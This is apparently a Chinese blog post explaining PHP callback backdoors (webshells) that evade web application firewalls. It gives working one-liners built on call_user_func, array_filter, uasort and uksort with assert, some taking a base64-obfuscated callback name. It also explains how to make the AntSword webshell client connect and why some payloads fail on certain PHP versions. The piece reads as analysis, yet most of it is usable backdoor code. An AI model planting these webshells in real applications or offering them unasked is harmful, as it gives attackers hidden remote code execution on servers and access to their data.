PHP回调后门分析

什么是PHP回调后门?

PHP回调后门是指攻击者利用PHP的回调函数等技术,绕过WAF(Web应用防火墙),在受攻击的PHP应用程序中插入恶意代码。这种后门可以被用来执行任意PHP代码,例如访问数据库、执行系统命令、窃取敏感信息等,具有极大的危害性。


1. 初始的回调后门

复制代码
call_user_func('assert', $_REQUEST['pass']);

解析:

  • call_user_func():把第一个参数作为回调函数调用。
  • assert():用于执行传入的字符串代码。
  • $_REQUEST['pass']:攻击者控制的输入。

示例:执行 phpinfo() 查看PHP环境信息

如果攻击者向 pass 参数传递 phpinfo();,则代码执行后会显示PHP的完整环境信息。

示例:蚁剑连接webshell

失败解析:

  • assert() 只能执行字符串代码

    • assert($code); 等价于 if (!eval($code)) throw new AssertionError();

    • assert($_POST[123]); 的问题是,如果 $_POST[123] 是个未定义变量或者非字符串,它会返回 NULL,导致 assert(NULL); 直接返回 false,没有实际执行任何代码。

    • assert('eval($_POST[123]);'); 这样传入的是 字符串形式的PHP代码assert() 解析后相当于 eval($_POST[123]);,从而可以执行 $_POST[123] 传入的任意命令。

  • 蚁剑默认发送的Payload

    • bodypass=$_POST[123] 时,assert($_POST[123]); 可能解析为 assert(NULL); 或者 assert(空字符串);,直接返回 false,因此没有返回值。

    • pass='eval($_POST[123]);' 时,assert('eval($_POST[123]);'); 由于是字符串,符合 assert() 语法要求eval($_POST[123]); 成功执行,从而蚁剑的WebShell成功运行。


2. 数组操作造成的单参数回调后门

复制代码
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

解析:

  • array():创建数组,包含用户传入的 $_POST['pass']
  • array_filter():使用回调函数过滤数组元素。
  • base64_decode($e):解码后作为回调函数。

如果 e 传递的是 YXNzZXJ0(即 assert 的Base64编码),则 array_filter() 会执行 assert($_POST['pass']);,从而执行传入的PHP代码。

连接蚁剑


3. PHP 5.4.8+ 中的 assert 后门

复制代码
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

解析:

  • uasort():使用回调函数对数组的值进行排序。
  • base64_decode($e):解码后作为排序回调。

如果 e 传递的是 YXNzZXJ0,那么 uasort($arr, 'assert');,相当于执行 assert($_REQUEST['pass']);,从而执行PHP代码。

uksort 变体
复制代码
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
  • uksort() 使用用户自定义的回调函数对数组键名进行排序。
  • e 传递 assert,等价于执行 assert($_REQUEST['pass']);

适用版本

  • 在PHP 5.3版本会报错,提示 assert 只能有一个参数。
  • 在PHP 5.4+ 版本下可以成功执行。
相关推荐
Whoami!2 小时前
❼⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 查找漏洞的公共利用 ➱ 离线资源(上)
网络安全·信息安全·metasploit·searchsploit
世界尽头与你11 小时前
CVE-2022-46463 Harbor public 镜像仓库信息泄露
安全·网络安全·渗透测试
XH-hui15 小时前
【打靶日记】群内靶机vm1
linux·网络安全
2501_9421196819 小时前
HTTPS:企业网站SEO优化的基石与信任凭证
网络安全
世界尽头与你1 天前
CVE-2016-2183_ OpenSSL 信息泄露漏洞
网络安全·渗透测试
火白学安全2 天前
《Python红队攻防零基础脚本编写:进阶篇(一)》
开发语言·python·安全·web安全·网络安全·系统安全
Whoami!2 天前
⸢ 拾陆-Ⅵ⸥⤳ 安全数智化建设:安全管控平台
网络安全·信息安全·安全管控平台
lingggggaaaa2 天前
免杀对抗——C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名程序劫持
c语言·c++·学习·安全·网络安全·免杀对抗
jenchoi4133 天前
【2025-11-23】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·数据库·安全·web安全·网络安全
AI绘画小333 天前
网络安全(黑客技术)—2025自学手册
网络·安全·web安全·网络安全·渗透测试